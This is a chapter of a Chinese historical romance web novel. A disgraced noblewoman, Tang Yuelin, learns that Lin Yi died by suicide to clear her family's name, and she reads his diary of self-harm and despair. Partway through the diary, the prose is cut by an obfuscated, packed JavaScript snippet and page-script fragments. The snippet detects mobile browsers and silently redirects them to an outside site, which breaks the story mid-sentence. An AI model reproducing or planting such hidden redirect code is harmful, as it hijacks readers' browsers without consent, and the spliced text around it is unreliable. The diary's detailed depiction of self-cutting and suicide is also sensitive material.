林亦走后,唐月琳盯着床前的那碗药出神。
六年前,唐月琳嫁去苏州,二人便再未见过,而如今,他官至宰相,她家破人亡,没想到,二人竟会以这样的方式再见。
现下也不是想这些的时候,唐月琳还有更重要的事要做,她要为阿爹阿娘洗刷冤屈,向世人证明侯府的清白。
唐月琳在床上枯坐了一夜,想了一夜今后的路该如何走。
翌日,唐月琳想悄无声息离开林府,未出门便被林亦拦下。
“你想去哪”林亦问。
“我爹娘被冤枉,我要为他们洗刷冤屈,如今你我二人毫无关系,我如今是罪臣之女,林公子还是莫要插手的好”唐月琳控制好情绪,抬眼看着林亦。
“如今京城到处都是要抓你的,外边全在传你和靖王逆党勾结,陛下下旨全力抓你,你如何能逃掉”
“他们冤枉我爹娘,如今还要来污蔑我,我侯府这么多年为陛下鞠躬尽瘁,他难道就一点都不信侯府吗”唐月琳握紧拳头。
这一刻,唐月琳才惊觉,这一切若不是陛下不信侯府,不给侯府一刻证明清白的机会,阿爹阿娘或许就不会死。
唐月琳开始恨起陛下,为何他不给侯府留一丝活路,自从尚德皇后离世,陛下做的事情,又有哪一件事是正确的。
她猛地一抬头,突然想起,眼前这人,已经不是当年的铁判官大理寺少卿,而是皇帝最信任的臣子。
陛下已不是当年的陛下,那林亦还是当年的林亦吗。
见唐月琳陷入思索,林亦继续劝道:“先在府中住下可好,这里现下是安全的”。
唐月琳缓缓抬起头,冷笑道:“留我在这,然后将我带给陛下,好让陛下赞赏你吗”。
林亦没想到唐月琳会如此问,愣在原地。
这样子落在唐月琳眼中,就是做贼心虚,继续道“林亦,当今陛下还是当年的那个陛下吗,害死将自己养大的摄政王,像疯狗似的咬死所有他怀疑的人”。
“而你又在其中扮演什么角色呢,侯府的事,你又做了什么”。
说完,唐月琳转身朝门口走去,刚踏出一步,便被林亦打晕。
唐月琳再次醒来,周围没有一个人,想走出屋子,结果门被上了锁。
“有人吗,有人吗,来人啊”唐月琳敲着门,不停地叫喊着。
一个丫鬟走来,道:“唐姑娘,大人说让你好好待在这里,您爹娘的事,他会想办法找到证据的”
“放我出去,我的事不用他管,你去和他说,今日若是不放我出去,我就死在这”唐月琳威胁道。
“大人还说,唐姑娘若是以死相逼,便让我告诉您,您若是死了,府上的人都要为你陪葬,您爹娘永远都不会得到清白”
林亦当然了解怎么拿捏唐月琳,听完丫鬟的话后,唐月琳便安静了下来。
接下来的半个月,唐月琳不断尝试各种方法逃出来,但林亦在周围安排了侍卫,每次逃出都被抓了回来。
这期间林亦从未出现过,令唐月琳没想到的事,再次听到他的消息是他的死讯。
丫鬟将唐月琳放出来,看到林亦的尸体被抬进府的时候,唐月琳整个人都是懵的。
没等她问清楚发生了什么,陛下下的圣旨便到了。
“奉天承运,皇帝诏曰,经朕查明,忠义侯侯与靖王逆党并无干系,如今忠义侯夫妇已死,朕深表痛心,今封永宁侯嫡女唐月琳为平阳郡主,赐封地平阳郡,钦此”
唐月琳发懵的听着宦官说出来的话,直到被后边的丫鬟提醒才反应过来接旨。
待传旨的人走后,唐月琳过了半晌才找回自己的声音,死死的盯着林亦的尸首,问将林亦抬进来的侍卫:“他没死对不对”。
侍卫眼眶通红,将一切一五一十地讲了出来。
这些天,林亦一直在做一件事,那便是查永宁侯府的案子,甚至引起陛下不悦。
在如今已是左相的顾时告知皇帝林亦和唐月琳曾经的关系后,陛下大怒,认为林亦为自己的私情才不停地查。
陛下离开下旨命林亦不准再查下去,并让林亦革职在家。
听到陛下的旨意时,林亦什么都没说,回了林府,在窗边静坐了一夜。
第二日,林亦在皇帝的御书房前跪了一天,请求面见陛下。
直至天黑,御书房的门才打开。
当天夜里,林亦拿着匕首抹了脖子,血溅御书房。
林亦和陛下说了什么所有人都不知道,只听御书房外守着的人道那晚林亦在御书房待了很久,说了很多话。
林亦死后,陛下下旨厚葬他,并且彻查侯府的案子。
他留下了很多自己查出来的证据,再加上皇帝的雷霆手段,真相很快便查出来了。
那个新晋的锦衣卫副指挥使赵通,也就是查出侯府与逆党勾结的赵通,便是那个邹府失踪的赘婿赵氢。
赵氢在五年前便设计入赘邹府,将邹府大半资产转走,至于转去哪里不用想也知道。
直至如今,将一切陷害给侯府,只为将自己摘出去。
唐月琳听完丫鬟的叙述后,浑浑噩噩的站在原地,这一刻,竟不知去往何处。
林府很大,唐月琳七年前就来过一次,为了质问林亦为何不娶自己。
而今,她站在这,林亦却不在了。
唐月琳一步一步走过林府的每个角落,恍惚间,看到了站在不远处的林亦正向自己招手:“阿琳,快来”。
唐月琳飞快冲过去,想抱住他,可一切,不过是虚幻。
唐月琳最后来到了林亦的书房。
桌案上,摆着几本书,唐月琳翻开,这些是林亦的手札。
上面的字映入眼帘。
“景和三年四月初三,我回京了,回京的路上,我想过很多次一死了之,可最后想到阿姐最后的话,我还是放弃了,我继续科考,成了状元,若是从前,阿姐想必会为我高兴吧”
“景和四年三月初一,颐舟问之后我想当什么官,我说我想当大理寺少卿,说完后两人都沉默了,颐舟也没忘记,当年我们三人聚在一起喝酒时,阿姐说我可以当大理寺少卿,阿姐说我这脑子最适合破案了,比谁都精”
“景和四年五月初三,阿琳来寻我,我放狠话说他们二人从此再无瓜葛,她气得离开,看着她红着眼眶离开,我很痛苦,我想和她说我心悦她的,我想娶她,可是我这样的人,为了当官将父亲气死的人,哪里配的上她”
“景和四年五月初七,今日看到父亲送的匕首,我竟控制不住的拿起来往自己手臂上刺,看着手上鲜血直流,我竟有种说不出来的畅快,仿佛如此才能抵消我心里的罪恶,是我害死了爹,是我对不起阿姐,是我辜负了阿琳,我这样的人,活该如此”
“景
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776405|174744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和六年十月二十,阿琳大婚,她给我寄了请帖,我去了,但我是偷偷去的,看着轿子从侯府抬出,我无时无刻不在希望与她大婚的是自己,可我不配,这天之后,我的病又加重了,没错,我病了,早在得知爹离世那天,我便已经病了,我每天控制不住自己拿匕首往手上砍,梦里如此,现实也是如此”
“景和八年七月三十,得知阿琳和钟玉西交好,这两年偶然得知钟府大小姐钟宁宁是阿姐捡到的那个小姑娘,我也算钟宁宁的兄长了,便对她多有照拂,也得知钟玉西这人并非善类,我想提醒阿琳,可我没有身份提醒,阿琳想必不会信我”
“景和九年一月初四,阿姐竟然失踪了,这些年我不敢打探她的消息,未曾想,她已经失踪三年了,这些是颐舟告诉我的,我去找宁宁,得到的消息是阿姐三年前与她失联,钟宁宁说阿姐三年前给传信说要闭关练功,之后便再无音讯,颐舟查到的消息也断在楠山,这几年皆以为阿姐闭关去了,再加之赵神医三年前失踪了,所有人的注意都在找赵神医身上,如今赵神医也毫无音讯,现在看来,赵神医的失踪和阿姐失踪并非巧合,阿姐的武功不能说无人能敌,但也绝不是什么人能打得过的,可有关阿姐的一切消息都没有,我们这段时日整日找阿姐的线索都要找疯了”
………………………………………
“景和十一年二月初四,还是没有阿姐的消息,陛下和钟宁宁大婚,阿姐若是在的话必定会来参加的,她定会开心”
“景和十三年一月十三,宋颐舟同我说阿姐如今身在青州,当年之事我虽没脸再见她,但八年未见,我还是忧心阿姐,故去寻了她”
“景和十三年六月二十,青州离京城遥远,我在那待了几个月,不知是不是颐舟的消息有误,我并未见到阿姐,可没想到,回京后,一切都发生了大变样,宁宁死了,颐舟死了,阿琳的爹娘也死了,若不是我及时赶到,就连阿琳也差点性命不保”
“景和十三年六月二十三,阿琳昏迷了三日,我查了这五个月发生的一切,皇后也就是阿宁薨了,我竟一点消息都没有,之后陛下悲愤欲绝,突然像变了个人般,将颐舟抓进了大牢,颐舟竟在牢里莫名死了,颐舟死后,陛下的行事作风越来越诡异,开始疯狂查靖王逆党的事,但凡和靖王有关的人不是被抄家便是被流放,无一幸免”
“景和十三年七月初四,阿琳还没醒,这段时间,我无比冷静,从未在陛下面前提过宁宁和颐舟半个字,我想知道,陛下为何会如此,宁宁和颐舟是如何死的”
“景和十三年七月二十,阿琳差点死了,那一刻我的精神濒临崩溃,所幸阿琳醒了,她为爹娘的死崩溃大哭,对不起,阿琳,我没能救下你的爹娘”
“景和十三年九月初六,陛下下旨命我停下来查忠义侯府的案子,我坐在窗边,想了一夜,也想不通陛下为何会变成这样,一年不到,到底发生了什么,我有种预感,我可能要和颐舟一样,莫名其妙的死了,其实死不死对我来说已经没什么了,这些年我隐藏的很好,其实我的病早就没有救了,身上无处不是我自残留下的疤痕,我早就活不下去,我一直把自己困在过去,在京城这个漩涡中我早就越陷越深,那些黑暗不断吞噬着我,我早就出不去了,如今这一切的一切都在告诉我,改不了了,有一双手在无形的控制着一切,随时将人至之于死地,如今我唯一能做到,便是用自己这条命换阿琳一命”